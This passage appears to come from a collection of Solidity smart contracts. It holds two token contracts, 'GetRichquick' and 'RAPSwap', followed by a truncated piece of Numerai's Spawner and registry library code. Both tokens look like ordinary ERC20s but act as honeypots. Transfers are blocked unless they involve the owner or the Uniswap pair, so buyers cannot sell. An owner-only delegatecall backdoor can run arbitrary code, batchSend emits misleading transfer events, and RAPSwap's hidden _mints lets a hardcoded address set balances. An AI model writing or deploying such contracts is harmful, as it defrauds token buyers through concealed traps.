function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GetRichquick {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RAPSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.13;
/// @title Spawn
/// @author 0age (@0age) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @notice This contract provides creation code that is used by Spawner in order
/// to initialize and deploy eip-1167 minimal proxies for a given logic contract.
contract Spawn {
constructor(
address logicContract,
bytes memory initializationCalldata
) public payable {
// delegatecall into the logic contract to perform initialization.
(bool ok, ) = logicContract.delegatecall(initializationCalldata);
if (!ok) {
// pass along failure message from delegatecall and revert.
assembly {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// place eip-1167 runtime code in memory.
bytes memory runtimeCode = abi.encodePacked(
bytes10(0x363d3d373d3d3d363d73),
logicContract,
bytes15(0x5af43d82803e903d91602b57fd5bf3)
);
// return eip-1167 code to write it to spawned contract runtime.
assembly {
return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length
}
}
}
/// @title Spawner
/// @author 0age (@0age) and Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
/// @notice This contract spawns and initializes eip-1167 minimal proxies that
/// point to existing logic contracts. The logic contracts need to have an
/// initializer function that should only callable when no contract exists at
/// their current address (i.e. it is being `DELEGATECALL`ed from a constructor).
contract Spawner {
/// @notice Internal function for spawning an eip-1167 minimal proxy using `CREATE2`.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @return The address of the newly-spawned contract.
function _spawn(
address creator,
address logicContract,
bytes memory initializationCalldata
) internal returns (address spawnedContract) {
// get instance code and hash
bytes memory initCode;
bytes32 initCodeHash;
(initCode, initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid create2 target
(address target, bytes32 safeSalt) = _getNextNonceTargetWithInitCodeHash(creator, initCodeHash);
// spawn create2 instance and validate
return _executeSpawnCreate2(initCode, safeSalt, target);
}
/// @notice Internal function for spawning an eip-1167 minimal proxy using `CREATE2`.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @param salt bytes32 A user defined salt.
/// @return The address of the newly-spawned contract.
function _spawnSalty(
address creator,
address logicContract,
bytes memory initializationCalldata,
bytes32 salt
) internal returns (address spawnedContract) {
// get instance code and hash
bytes memory initCode;
bytes32 initCodeHash;
(initCode, initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid create2 target
(address target, bytes32 safeSalt, bool validity) = _getSaltyTargetWithInitCodeHash(creator, initCodeHash, salt);
require(validity, "contract already deployed with supplied salt");
// spawn create2 instance and validate
return _executeSpawnCreate2(initCode, safeSalt, target);
}
/// @notice Private function for spawning an eip-1167 minimal proxy using `CREATE2`.
/// Reverts with appropriate error string if deployment is unsuccessful.
/// @param initCode bytes The spawner code and initialization calldata.
/// @param safeSalt bytes32 A valid salt hashed with creator address.
/// @param target address The expected address of the proxy.
/// @return The address of the newly-spawned contract.
function _executeSpawnCreate2(bytes memory initCode, bytes32 safeSalt, address target) private returns (address spawnedContract) {
assembly {
let encoded_data := add(0x20, initCode) // load initialization code.
let encoded_size := mload(initCode) // load the init code's length.
spawnedContract := create2( // call `CREATE2` w/ 4 arguments.
callvalue, // forward any supplied endowment.
encoded_data, // pass in initialization code.
encoded_size, // pass in init code's length.
safeSalt // pass in the salt value.
)
// pass along failure message from failed contract deployment and revert.
if iszero(spawnedContract) {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// validate spawned instance matches target
require(spawnedContract == target, "attempted deployment to unexpected address");
// explicit return
return spawnedContract;
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
/// salt, and initialization calldata payload.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @param salt bytes32 A user defined salt.
/// @return target address The address of the newly-spawned contract.
/// @return validity bool True if the `target` is available.
function _getSaltyTarget(
address creator,
address logicContract,
bytes memory initializationCalldata,
bytes32 salt
) internal view returns (address target, bool validity) {
// get initialization code
bytes32 initCodeHash;
( , initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid target
(target, , validity) = _getSaltyTargetWithInitCodeHash(creator, initCodeHash, salt);
// explicit return
return (target, validity);
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given initCodeHash, and salt.
/// @param creator address The address of the account creating the proxy.
/// @param initCodeHash bytes32 The hash of initCode.
/// @param salt bytes32 A user defined salt.
/// @return target address The address of the newly-spawned contract.
/// @return safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection.
/// @return validity bool True if the `target` is available.
function _getSaltyTargetWithInitCodeHash(
address creator,
bytes32 initCodeHash,
bytes32 salt
) private view returns (address target, bytes32 safeSalt, bool validity) {
// get safeSalt from input
safeSalt = keccak256(abi.encodePacked(creator, salt));
// get expected target
target = _computeTargetWithCodeHash(initCodeHash, safeSalt);
// get target validity
validity = _getTargetValidity(target);
// explicit return
return (target, safeSalt, validity);
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
/// nonce, and initialization calldata payload.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @return target address The address of the newly-spawned contract.
function _getNextNonceTarget(
address creator,
address logicContract,
bytes memory initializationCalldata
) internal view returns (address target) {
// get initialization code
bytes32 initCodeHash;
( , initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid target
(target, ) = _getNextNonceTargetWithInitCodeHash(creator, initCodeHash);
// explicit return
return target;
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given initCodeHash, and nonce.
/// @param creator address The address of the account creating the proxy.
/// @param initCodeHash bytes32 The hash of initCode.
/// @return target address The address of the newly-spawned contract.
/// @return safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection.
function _getNextNonceTargetWithInitCodeHash(
address creator,
bytes32 initCodeHash
) private view returns (address target, bytes32 safeSalt) {
// set the initial nonce to be provided when constructing the salt.
uint256 nonce = 0;
while (true) {
// get safeSalt from nonce
safeSalt = keccak256(abi.encodePacked(creator, nonce));
// get expected target
target = _computeTargetWithCodeHash(initCodeHash, safeSalt);
// validate no contract already deployed to the target address.
// exit the loop if no contract is deployed to the target address.
// otherwise, increment the nonce and derive a new salt.
if (_getTargetValidity(target))
break;
else
nonce++;
}
// explicit return
return (target, safeSalt);
}
/// @notice Private pure function for obtaining the initCode and the initCodeHash of `logicContract` and `initializationCalldata`.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @return initCode bytes The spawner code and initialization calldata.
/// @return initCodeHash bytes32 The hash of initCode.
function _getInitCodeAndHash(
address logicContract,
bytes memory initializationCalldata
) private pure returns (bytes memory initCode, bytes32 initCodeHash) {
// place creation code and constructor args of contract to spawn in memory.
initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get the keccak256 hash of the init code for address derivation.
initCodeHash = keccak256(initCode);
// explicit return
return (initCode, initCodeHash);
}
/// @notice Private view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
/// salt, and initialization calldata payload.
/// @param initCodeHash bytes32 The hash of initCode.
/// @param safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection.
/// @return The address of the proxy contract with the given parameters.
function _computeTargetWithCodeHash(
bytes32 initCodeHash,
bytes32 safeSalt
) private view returns (address target) {
return address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
bytes1(0xff), // pass in the control character.
address(this), // pass in the address of this contract.
safeSalt, // pass in the safeSalt from above.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
}
/// @notice Private view function to validate if the `target` address is an available deployment address.
/// @param target address The address to validate.
/// @return validity bool True if the `target` is available.
function _getTargetValidity(address target) private view returns (bool validity) {
// validate no contract already deployed to the target address.
uint256 codeSize;
assembly { codeSize := extcodesize(target) }
return codeSize == 0;
}
}
/// @title iRegistry
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
interface iRegistry {
enum FactoryStatus { Unregistered, Registered, Retired }
event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData);
event FactoryRetired(address owner, address factory, uint256 factoryID);
event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID);
// factory state functions
function addFactory(address factory, bytes calldata extraData ) external;
function retireFactory(address factory) external;
// factory view functions
function getFactoryCount() external view returns (uint256 count);
function getFactoryStatus(address factory) external view returns (FactoryStatus status);
function getFactoryID(address factory) external view returns (uint16 factoryID);
function getFactoryData(address factory) external view returns (bytes memory extraData);
function getFactoryAddress(uint16 factoryID) external view returns (address factory);
function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData);
function getFactories() external view returns (address[] memory factories);
function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories);
// instance state functions
function register(address instance, address creator, uint80 extraData) external;
// instance view functions
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
/// @title iFactory
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
function create(bytes calldata callData) external returns (address instance);
function createSalty(bytes calldata callData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(address creator, bytes calldata callData, bytes32 salt) external view returns (address instance, bool validity);
function getNextNonceInstance(address creator, bytes calldata callData) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/// @title EventMetadata
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
contract EventMetadata {
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
}
/// @title Operated
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.2.0
contract Operated {
address private _operator;
event OperatorUpdated(address operator);
// state functions
function _setOperator(address operator) internal {
// can only be called when operator is null
require(_operator == address(0), "operator already set");
// cannot set to address 0
require(operator != address(0), "cannot set operator to address 0");
// set operator in storage
_operator = operator;
// emit event
emit OperatorUpdated(operator);
}
function _transferOperator(address operator) internal {
// requires existing operator
require(_operator != address(0), "only when operator set");
// cannot set to address 0
require(operator != address(0), "cannot set operator to address 0");
// set operator in storage
_operator = operator;
// emit event
emit OperatorUpdated(operator);
}
function _renounceOperator() internal {
// requires existing operator
